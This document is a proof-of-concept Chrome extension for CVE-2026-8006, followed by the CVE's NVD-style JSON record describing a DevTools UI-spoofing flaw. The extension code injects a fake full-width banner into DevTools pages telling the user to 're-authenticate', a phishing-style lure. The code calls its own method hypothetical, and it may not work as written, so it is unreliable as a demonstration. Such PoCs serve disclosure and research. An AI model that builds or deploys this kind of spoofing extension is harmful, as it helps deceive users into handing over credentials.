CVE-2026-8006

// manifest.json { "manifest_version": 3, "name": "DevTools Spoofing PoC", "version": "1.0", "permissions": ["activeTab", "scripting"], "background": { "service_worker": "background.js" } } // background.js // This script demonstrates how an extension might attempt to inject a spoofed UI // exploiting the insufficient policy enforcement in DevTools context. chrome.action.onClicked.addListener((tab) => { if (tab.url.includes("chrome-devtools://")) { console.log("Attempting to inject into DevTools context"); // Hypothetical exploitation: Injecting a fake security banner into the DevTools panel chrome.scripting.executeScript({ target: { tabId: tab.id }, func: spoofUI, }); } else { console.log("Navigating to DevTools environment first is required for this PoC."); } }); function spoofUI() { // Create a fake UI element to demonstrate the spoofing capability const fakeBanner = document.createElement('div'); fakeBanner.style.position = 'fixed'; fakeBanner.style.top = '0'; fakeBanner.style.left = '0'; fakeBanner.style.width = '100%'; fakeBanner.style.backgroundColor = '#f1c40f'; fakeBanner.style.color = 'black'; fakeBanner.style.textAlign = 'center'; fakeBanner.style.padding = '10px'; fakeBanner.style.zIndex = '9999'; fakeBanner.innerText = 'WARNING: DevTools Connection Unsecure - Re-authenticate Required'; document.body.appendChild(fakeBanner); console.log('Spoofed UI injected via extension exploiting CVE-2026-8006'); }

{"cve": {"id": "CVE-2026-8006", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:51.580", "lastModified": "2026-05-07T15:17:48.737", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient policy enforcement in DevTools in Google Chrome prior to 148.0.7778.96 allowed an attacker who convinced a user to install a malicious extension to perform UI spoofing via a crafted Chrome Extension. (Chromium security severity: Low)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-451"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory", "Release Notes"]}, {"url": "https://issues.chromium.org/issues/496373088", "source": "[email protected]", "tags": ["Permissions Required"]}]}}